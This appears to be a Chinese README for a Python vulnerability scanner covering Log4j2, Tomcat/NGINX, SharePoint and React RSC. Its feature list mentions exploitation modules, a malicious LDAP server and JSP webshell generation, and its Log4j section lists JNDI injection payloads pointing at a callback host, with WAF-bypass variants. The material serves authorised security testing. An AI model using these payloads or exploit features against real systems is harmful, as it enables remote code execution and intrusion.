功能: - 4 大漏洞检测模块: Log4j2, Tomcat/NGINX, SharePoint, React RSC - 4 大漏洞利用模块: JNDI RCE, WAR部署, ViewState反序列化, RSC Flight - 恶意 LDAP + HTTP 服务端 - Web GUI (Flask + Bootstrap 5) 带实时日志和利用面板 - Java 字节码生成, JSP webshell 生成
VulnScanner — 授权安全漏洞检测工具
多模块漏洞扫描器,专注于检测 Web 应用与中间件的高危漏洞。仅限授权安全测试使用。
检测能力
| 模块 | 检测对象 | 技术方案 | 验证方式 |
|---|---|---|---|
| Log4j2 | CVE-2021-44228 JNDI 注入 | 多 Header/参数注入 + WAF 绕过 + OOB 回调 | OOB HTTP 回调 / 响应异常分析 |
| Tomcat/NGINX | 敏感路径、信息披露、反序列化端点 | 指纹识别 + 路径探测 + 畸形请求 | 状态码 + 响应内容分析 |
| SharePoint | 反序列化 RCE、ToolShell、ViewState | 端点指纹 + ViewState 分析 + API 探测 | 响应异常 + 配置检测 |
| React RSC | Next.js RSC Flight 反序列化 | 端点发现 + 协议检测 + payload 探测 | Content-Type + 响应分析 |
安装
# 克隆或解压到 vulnscanner 目录
cd vulnscanner
# 安装依赖
pip install requests aiohttp colorama pyyaml
快速使用
单目标扫描
python main.py --target http://example.com
指定模块扫描
# 仅扫描 Log4j2
python main.py --target http://example.com --modules log4j
# 仅扫描 Tomcat/NGINX
python main.py -t http://example.com -m tomcat
# 扫描多个模块
python main.py -t http://example.com -m log4j,sharepoint
批量扫描
# 准备目标文件(每行一个 URL)
echo "http://192.168.1.1" > targets.txt
echo "http://192.168.1.2" >> targets.txt
python main.py --list targets.txt -m log4j,tomcat
完整参数
# 自定义 OOB 回调端口
python main.py -t http://example.com --oob-port 9999
# 指定外部可达的 OOB 地址(内网环境)
python main.py -t http://target.com --external-host 10.0.0.5 --oob-port 8888
# 通过代理扫描
python main.py -t http://example.com --proxy-http http://127.0.0.1:8080
# 输出 JSON 报告
python main.py -t http://example.com -o report.json
# 静默模式(减少终端输出)
python main.py -t http://example.com -q
# 预览模式(不发送实际请求)
python main.py -t http://example.com --dry-run
# 跳过授权确认(脚本/自动化场景)
python main.py -t http://example.com -y
使用场景
场景 1:内网资产扫描
python main.py --list internal_targets.txt \
--modules log4j,tomcat,sharepoint \
--external-host 10.0.0.100 \
--oob-port 8888 \
--output scan_result.json \
--threads 30
场景 2:Log4j 专项检测
python main.py -t http://target.com \
--modules log4j \
--oob-port 9999 \
--external-host your-vps.com \
--output log4j_report.json
场景 3:Web 中间件安全基线
python main.py -t http://web-app.com \
--modules tomcat \
--timeout 15 \
--output baseline.json
输出示例
═══════════════════════════════════════════════════════════════
漏洞发现列表
═══════════════════════════════════════════════════════════════
[CRITICAL] [✓] Log4j JNDI 注入确认 (OOB 回调验证)
目标: http://target.com
端点: /
模块: Log4jModule (CVE-2021-44228)
描述: JNDI 注入成功,目标服务器已回连 OOB 服务器
证据: OOB 回调 2 次,来源: 10.0.0.5
修复: 立即升级 Log4j2 到 2.17.0+
时间: 2026-07-07T12:00:00Z
[HIGH] [✓] Spring Actuator 端点暴露
目标: http://target.com
端点: /actuator/
模块: TomcatNginxModule (N/A)
描述: 路径 /actuator/ 返回 200,敏感信息可能泄露
证据: HTTP 200, body 长度 1523
修复: 移除或限制访问敏感路径
═══════════════════════════════════════════════════════════════
扫描摘要
═══════════════════════════════════════════════════════════════
扫描目标: 1
运行模块数: 2
发现总数: 4
██ 严重: 1 ██ 高危: 2 中危: 1
⚠ 发现 3 个严重/高危漏洞,建议立即修复
═══════════════════════════════════════════════════════════════
JSON 报告结构
{
"scan_info": {
"tool": "VulnScanner",
"timestamp": "2026-07-07T12:00:00Z",
"total_findings": 4,
"summary": {"targets": 1, "modules_run": 3, "findings": 4, "critical": 1}
},
"findings": [
{
"module": "log4j",
"cve": "CVE-2021-44228",
"target": "http://target.com",
"endpoint": "/",
"severity": "critical",
"title": "Log4j JNDI 注入确认 (OOB 回调验证)",
"description": "...",
"payload": "${jndi:ldap://x.oob.com/a}",
"evidence": "...",
"remediation": "...",
"verified": true,
"timestamp": "..."
}
]
}
检测原理
Log4j 检测流程
1. 生成 JNDI payload (LDAP/RMI/DNS)
└── 包含 WAF 绕过变体(大小写、嵌套表达式)
2. 注入到 HTTP Header (12+)、URL 参数、POST Body
└── Header: X-Api-Version, X-Forwarded-For, User-Agent ...
3. 启动本地 OOB HTTP 服务器
4. 等待目标回调
5. 验证回调
绕过技术:
├── ${jndi:ldap://host/a} — 原始
├── ${JNDI:LDAP://host/a} — 大小写混淆
├── ${${lower:j}ndi:ldap://...} — 表达式嵌套
└── ${::-j}${::-n}${::-d}... — 字符拆分
OOB 回调服务器
启动一个轻量级 HTTP 服务器(基于 aiohttp),监听指定端口接收入站请求。 内网场景需要确保目标可达(使用 --external-host 指定自身 IP)。
注意事项
- 授权要求:使用前必须获得目标系统的书面授权
- 网络影响:扫描会产生 HTTP 请求,注意控制并发和负载
- OOB 可达性:Log4j 检测依赖目标到 OOB 服务器的网络可达性
- 误报处理:响应分析模块可能产生误报,OOB 回调的结果最可靠
- 法律合规:未经授权的扫描可能违反中国《网络安全法》及相关法律
免责声明
本工具仅用于授权的安全测试和安全研究。使用本工具扫描未授权的目标可能违反 所在国家/地区的法律法规。开发者不承担任何因使用本工具而产生的法律责任。
使用者需确保:
- 已获得目标系统所有者的明确书面授权
- 测试范围在授权范围内
- 测试过程中产生的数据得到妥善处理
License
MIT License — 仅限授权安全测试用途
Description
Languages
Python
73.4%
JavaScript
13.7%
HTML
9.3%
CSS
3.6%